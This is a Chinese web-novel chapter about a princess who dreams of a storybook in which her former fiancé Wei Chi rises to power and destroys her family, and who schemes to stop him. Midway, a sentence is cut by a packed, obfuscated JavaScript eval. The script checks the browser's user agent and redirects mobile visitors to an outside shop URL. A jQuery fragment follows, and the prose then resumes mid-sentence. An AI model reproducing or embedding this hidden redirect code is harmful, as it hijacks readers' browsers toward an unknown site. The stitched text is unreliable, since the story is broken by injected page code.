她在床榻上辗转反侧,睡后又噩梦连连。
夜夜惊魂噩梦,如连绵不断的藤蔓紧紧缠绕着她,梦中,在卫池荣登高位后,居高临下地盯着她,随后她人头落地。
她常常在醒来后冷汗直流,无助地抱膝痛哭。
今夜再度陷入梦境,一册话本在她眼前徐徐展开,却突然一阵白雾遮挡,冒出个少年。
自被她退婚,他父亲离世后,那些人人愈发不加掩饰,不复以往热忱,连对他一向和蔼有加,极为器重的先生,也态度大变。
从云端跌落泥潭。
他一身粗布麻衣,天未亮就出门,靠草鞋行走数里,到镇上上课,常常蜷缩在角落。
他起身答题说出口的蹩脚口音,顿时,同窗哄堂大笑,目光鄙夷,吃饭时,被人一脚踹翻木碗,半个窝窝头滚落在地,时不时会迎来一顿殴打,只因让他学狗叫不肯。
铮铮傲骨被一次次打碎,被那些传道授业,正义凛然的先生次次漠视,直到他忍无可忍奋起反抗,却因伤了贵人,被赶出书院。
看得她心头一颤。
可刹那间,闪过一阵刺眼的亮光,令她眼前一黑。
再睁眼时,少年一身圆领绯红官袍,身姿卓然,在簇拥中走上高堂之上,荣登高位。
曾欺辱他之人,皆付出代价,人头城墙悬挂,或是喂了豢养的猛兽,死无全尸。
包括那群同窗和她一家。
而这话本中的主角少年正是卫池。
之后他权柄愈盛,朝中权势于他而言犹如囊中取物,行事也跟着愈发残忍,狠辣,上至世家,下至百姓,人人怨声连天,行事小心谨慎。
直到朝中再无反对声音,彻底成为他的一言堂,爬上权利巅峰,不是帝王却胜似帝王。
在一闪而过的剧情中,她作为初期的反派,娇纵,恶劣,仗着家世为虎作伥,因见他家中穷酸,不顾父辈情谊退亲,致他父亲病重而亡。
使他沦落至同窗欺辱,亲人背离。
直到他得入仕,得帝王看重,手握权柄,在皇帝的默许下,她爹娘被设计谋反,人头落地,而兄长文臣出身,却被送往边塞打仗,因孤身一人落入围攻,万箭穿心而亡。
这一幕幕闪过的场景看得她心惊胆战,顿时膛目欲裂,恨不得冲上前一刀捅死卫池,以绝后患。
可话本却化为纸屑沸沸扬扬飞去,她连滚带爬扑上去,只来得及抓住一小片。
一睁开眼,她低下头,却瞧见手中攥着那纸片,提醒着她这不是梦境。
她怔怔望向坐在枕侧的卫池。
想起梦中的一帧帧画面,咬牙切齿,这人当真是个喂不熟的白眼狼,狼心狗肺,她爹娘待他一片真心,犹如亲子,他怎么能,又怎么可以痛下杀手。
一口气生生哽在喉间,她面色愈发难看,只觉得浑身气血逆流而上,直冲头部。
她突然摘下头顶金簪,握着一把刺向他脖颈,狠狠扎进人颈侧血肉。
他脸色陡然阴沉起来,冷冷盯着她,如蓄势待发的猛兽。
她被盯得头皮发麻,手上动作一顿,却反被他擒住双手,摁在身下,红着眼怒骂道:“你就是个畜生!”
卫池却面色一怔。
分明是她先痛下毒手,却一副受了天大的委屈,水盈盈的双眸瞪着他,撇着嘴角,泪水在眼眶打转。
他松开手,脖颈处却再度传来一阵剧痛,呼吸急促,低垂下眼睫,心中轻嗤,她还是没变。
行事娇纵,恶劣,全然仗着家世不菲,有个好爹娘。
许是那下捅得太猛烈。
她应霁初白皙的脸颊沾上几滴血液,握着金簪,楞楞望着他。
直到传来一阵吵嚷声。
“郡主!”
“快来人啊,郡主出事了!”
一群人乱作一团,兵荒马乱。
“你……你个烂心肠的,我好心放你进来看我家郡主,你竟对她动手。”
身后的府兵齐刷刷亮剑。
卫池抬眼冷嗤一声,任由脖颈处血液滴滴下流,头也不回的离开。
应霁初也在吃过药后,被安抚着睡下。
在梦中,她续上了话本中的剧情,话本中男主一笔带过的被赶出书院,意外得他人赏识高升,实则却并不容易。
卫池背着厚重的书包,踏着草鞋走出书院,临了还被人一顿毒打,瘸着腿从天亮走到天黑才到家门口,却步步踌躇,手骤然攥紧。
他推开门,迎来的不是家人温声细语的安慰,而是一顿痛骂。
“你生来当真是讨债的,你个灾星,克死了你父亲,”说着那妇人便扑上去,对着人又捶又打。
“你怎的还有脸回来,如今又给家中惹下滔天的祸事。”
“就……就当我没养过这个儿子。”
卫池怔怔站在原地,被推出门外,寒冬腊月,雪花飘飘,他只得蜷缩在猪圈角落,穿得单薄,此刻饥肠辘辘。
直到里面走出个小男孩,蹦蹦跳跳的,手上端着木盆,朝人露齿一笑,下一刻手一滑,那盆里的猪饲料一头淋在卫池头上,倒入猪圈。
在人走后,他低垂着头,神色阴鸷,如暗中窥伺的蛇。
次日,小男孩上山摘野果,却意外遇野猪,被一头拱向,头身分离,溅出一地血红,染红树叶,死前还死死瞪着双眼,死不瞑目。
后不到一月,他家中意外走火,一屋子人,死的死,伤的伤,只剩卫池被赶出家门,还好端端的。
一切事宜只得交由他处理。
卫池应付着上门的亲眷,处理丧事,那几人身上好几处被烧焦,面目全非,只能躺在床上发出呜啊的声音,喉间滚动。
她被活活吓醒,惊魂未定靠在床头,背脊处浸出层薄汗。
思索片刻,连声唤来贴身侍女。
“郡主,怎么了?”
她俯身过去贴耳说道:“你帮我去寻几个乞儿,将我与卫池婚约定下一事,流传出去。”
扶月领命出去。
她紧紧靠着床壁,眼睫颤动,那几人被烧焦,日夜折磨的样子还历历在目,忍不住深想,若是落到她身上会如何……
绝不能让卫池崛起,高升。
他出身贫寒,有如今全仰赖陛下重视,只要令他失了这份重视,卫池此人不足为惧。
何况她们这位陛下生性多疑。
当年天下英雄如过江之鲫,为了挽救摇摇欲坠的王朝,一呼即应,打天下,最后却建立了新的王朝,改年号。
花了数年打退敌军,收复失地,有的急流勇退,有的因被这位陛下忌惮寻由头杀了,人人胆寒,她娘虽与陛下一母同胞,但也最惹陛下忌惮。
她娘当年下嫁出身江宁氏族却只是六品小官的父亲,又在西北军营威望深重,这才躲过一劫。
可其他人呢,有些被卸磨杀驴,屠杀满门,有些及时急流勇退,躲过一劫。
早年陛下礼贤下士,人人爱戴,重用贤良,一派欣欣向荣,才有如今的盛世。
可随着年龄的增长,身体旧疾在身,几次病危,陛下也随之惶恐起来了,召集不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676426|207482||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
少能人异士炼制丹药,延年寿命,疑心病更重,连一众皇子也逃不过。
只要她与卫池的婚讯广为流传,陛下定会怀疑他的用心,到时他哪怕只是与同僚聚餐,都会惹陛下生疑,怀疑他涉嫌结党营私,失去重视。
很快,她与卫池的婚讯流传于街巷,广为人知,随之而来的是纷飞议论声。
他勇夺魁首,连得三元,是难得的少年英才,可配郡主,出身江宁氏族,父亲是相爷,母亲是长公主的昭华郡主,是否太过。
应霁初一心盼着,他失去陛下重视,从此泯然众人,再也构不成威胁,终是让她盼来了。
流言愈演愈烈,甚至被御史状告,说他为官不正,私心过盛。
陛下也再不似从前时而传召于他。
卫池在翰林院,只得整理些书籍,还时常被人欺辱,鼻青脸肿的。
听闻这消息,她连忙换了身衣衫,梳了发簪赶去看热闹。
翰林院中,几位官员坐着闲聊,似有似无的鄙夷目光看向卫池。
“有些人就是命好啊,榜上郡主抵过他人数年寒窗苦读。”
“谁说不是呢,卫大人,这书可得拿稳些。”
他一身青袍,怀中书籍堆在两肘之间,高高堆起,遮住半边视线,低垂着头前走。
却突然被伸出的一只脚拦住:“哎,别慌着走啊。”
他被半道阻拦,却将书抱得稳稳的,轻掀眼睫:“怎么。”
“你乖乖将这婚事拒了,虽不知你是给相爷灌了何迷魂汤,才祖坟冒青烟得缘与郡主结亲,但你二人犹如云泥之别,别异想天开了。”
那人压低声继续威胁道:“莫以为我们没去打探过你,你家中半数人死于一场蹊跷的大火,我不信你在其中没……”
他轻笑了声,神色阴鸷:“你既知道,还敢来招惹我,就不怕沦落同等下场吗。”
人被吓得连连退后。
外面却突然响起声通报,人未至,声先至:“卫池,你也有今日,哈哈哈哈哈。”
他轻掀眼睫,抬眼打量着走进来的大小姐。
穿得跟个孔雀似的,脸颊白净,殷红的口唇一张一合,微微敞开的衣领露出雪白,纤细的脖颈,轻轻一折就会断掉,却还是仰着头。
还未等她走近,翰林院一众人围了上来,嘘寒问暖。
她话语敷衍,哪怕冷着张脸,微微蹙眉,还是令人趋之若趋。
随口应付几句,她直直朝卫池走去,气势汹汹,嗤笑道:“啧,看看你如今这凄惨的模样,卫池,你要是跪地求饶,替我将鞋擦干净,本郡主就替你做这个主如何?”
在来之前,她特地翻阅话本好好学习如何折磨,针对他人的手段,定要卫池记忆犹新,一报仇怨。
猝不及防被攥住手腕,力道大得几乎要将她捏碎,后颈一凉,可众目睽睽之下,她不愿输了阵势,只得紧紧瞪着他。
“不如郡主教教我,该如何伺候好您。”
她被吓了个激灵,浑身颤栗。
冰凉的指节碰上她脚踝,一寸寸上移,神色森然。
忍受着蚀骨的痒意,却还是嘴硬道:“像你这种低贱之人,也只配给我提鞋。”
半晌后,她头也不回的跑出去,跌跌撞撞的。
回到府后,一头倒在贵妃椅上,一连几日卫池上门,都称病不出。
但很快,陛下的不喜仿佛只是云烟,没过几日卫池重获恩宠,一连数日上殿侍读,甚至还助大理寺破案有功。
仿佛一切都在映射那册话本初期。